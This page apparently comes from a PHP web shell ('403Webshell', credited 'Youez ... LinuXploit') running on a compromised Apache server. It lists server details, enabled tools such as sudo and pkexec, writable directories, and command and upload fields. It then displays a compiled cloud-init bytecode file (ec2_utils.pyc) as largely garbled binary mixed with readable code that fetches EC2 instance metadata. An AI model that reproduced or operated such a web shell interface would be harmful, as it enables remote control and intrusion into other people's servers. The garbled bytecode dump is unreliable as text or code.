403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/__pycache__/ec2_utils.cpython-36.pyc
3

��b� �	@s�ddlZddlZddlmZddlmZmZeje�Z	e
ejg�ZGdd�de
�ZGdd�de
�Zdd	�Zdd
d�Zddd�Zddd�Zddd�ZdS)�N)�log)�
url_helper�utilc@s eZdZdZdd�Zdd�ZdS)�MetadataLeafDecoderz.Decodes a leaf blob into something meaningful.cCs,|sdS|j�}|jd�r(|jd�r(dSdS)NF�{�}T)�strip�
startswith�endswith)�self�text�r
�/usr/lib/python3.6/ec2_utils.py�_maybe_json_objectsz&MetadataLeafDecoder._maybe_json_objectcCs�|sdSytj|�}Wntk
r*|SX|j|�rvy
tj|�Sttfk
rt}ztj	d||�WYdd}~XnX|j
d�dkr�|j�S|S)N�z6Field %s looked like a json object, but it was not: %s�
����)r�
decode_binary�UnicodeDecodeErrorr�json�loads�
ValueError�	TypeError�LOG�warning�find�
splitlines)r�field�blob�er
r
r�__call__s"

zMetadataLeafDecoder.__call__N)�__name__�
__module__�__qualname__�__doc__rr!r
r
r
rrsrc@s.eZdZd
dd�Zdd�Zdd�Zdd	�ZdS)�MetadataMaterializerNcCs4||_d|_||_||_|dkr*t�|_n||_dS)N)�_blob�_md�	_base_url�_callerr�
_leaf_decoder)rr�base_url�caller�leaf_decoderr
r
r�__init__7s
zMetadataMaterializer.__init__cCs�i}g}tj|�}|s||fSdd�}dd�}x�|j�D]�}|j�}||�}|s8|rZq8|dkrdq8||�r�||kr�|j|�q8|jdd�}|}	t|�dkr�|\}
}tj|
�}
|
dk	r�d|
}	|}|	||<q8W||fS)	NcSs|jd�rdSdSdS)N�/TF)r
)�itemr
r
r�has_childrenIs
z1MetadataMaterializer._parse.<locals>.has_childrencSs|jd�r|jd�S|S)Nr0)r
�rstrip)r1r
r
r�get_nameOs

z-MetadataMaterializer._parse.<locals>.get_namezsecurity-credentials�=rz%s/openssh-key)rrrr�append�split�lenZsafe_int)rr�leaves�childrenr2r4rZ
field_name�contents�resourceZidentZsub_contentsr
r
r�_parseAs6

zMetadataMaterializer._parsecCs(|jdk	r|jS|j|j|j�|_|jS)N)r(�_materializer'r))rr
r
r�materializels
z MetadataMaterializer.materializecCs�|j|�\}}i}xD|D]<}tj||�}|jd�s:|d7}|j|�}|j||�||<qWi}	x:|j�D].\}
}tj||�}|j|�}
|j|
|
�|	|
<qfWi}|j|�x2|	j	�D]&}
|
|kr�t
jd|�q�|	|
||
<q�W|S)Nr0z&Duplicate key found in results from %s)r=r�combine_urlr
r*r>�itemsr+�update�keysrr)rrr,r9r:Zchild_contents�cZ	child_urlZ
child_blobZ
leaf_contentsrr<Zleaf_urlZ	leaf_blobZjoinedr
r
rr>rs(




z!MetadataMaterializer._materialize)N)r"r#r$r/r=r?r>r
r
r
rr&6s

+r&cCs
|j|kS)z/Returns False if cause.code is in status_codes.)�code)Zstatus_codesZ
_request_args�causer
r
r�skip_retry_on_codes�srG�latest�http://169.254.169.254�cCs�tj||�}tj|d�}d}	y2|s.tjtt�}tj|||||||d�}
|
j}	Wn\tjk
r�}z|j	tkrzt
jtd|�WYdd}~Xn"t
k
r�t
jtd|�YnX|	S)Nz	user-datar)�ssl_details�timeout�retries�exception_cb�
headers_cb�headers_redactz$Failed fetching userdata from url %s)rr@�	functools�partialrG�SKIP_USERDATA_CODES�read_file_or_urlr;ZUrlErrorrEr�logexcr�	Exception)�api_version�metadata_addressrKrLrMrOrPrNZud_urlZ	user_data�responser r
r
r�get_instance_userdata�s,


rZc
s�tj|||�}
tjtj||||||	d���fdd�}y4�|
�}t|j|
||d�}
|
j�}t|t	�sfi}|St
k
r�tjt
d||
�iSXdS)N)rKrLrMrOrPrNcs
�|�jS)N)r;)Zurl)r-r
r�mcaller�sz'_get_instance_metadata.<locals>.mcaller)r.zFailed fetching %s from url %s)rr@rQrRrTr&r;r?�
isinstance�dictrVrrUr)�treerWrXrKrLrMr.rOrPrNZmd_urlr[rYZmaterializerZmdr
)r-r�_get_instance_metadata�s*
r_c		Cstd|||||||||d�
S)Nz
meta-data/)
r^rWrXrKrLrMr.rPrOrN)r_)	rWrXrKrLrMr.rOrPrNr
r
r�get_instance_metadata�s
r`c		Cstd|||||||||d�
S)Nzdynamic/instance-identity)
r^rWrXrKrLrMr.rPrOrN)r_)	rWrXrKrLrMr.rOrPrNr
r
r�get_instance_identity�sra)rHrINrJrJNNN)	rHrINrJrJNNNN)	rHrINrJrJNNNN)	rHrINrJrJNNNN)rQrZ	cloudinitrZloggingrrZ	getLoggerr"r�	frozensetZ	NOT_FOUNDrS�objectrr&rGrZr_r`rar
r
r
r�<module>	sV
#T
!



Youez - 2016 - github.com/yon3zu
LinuXploit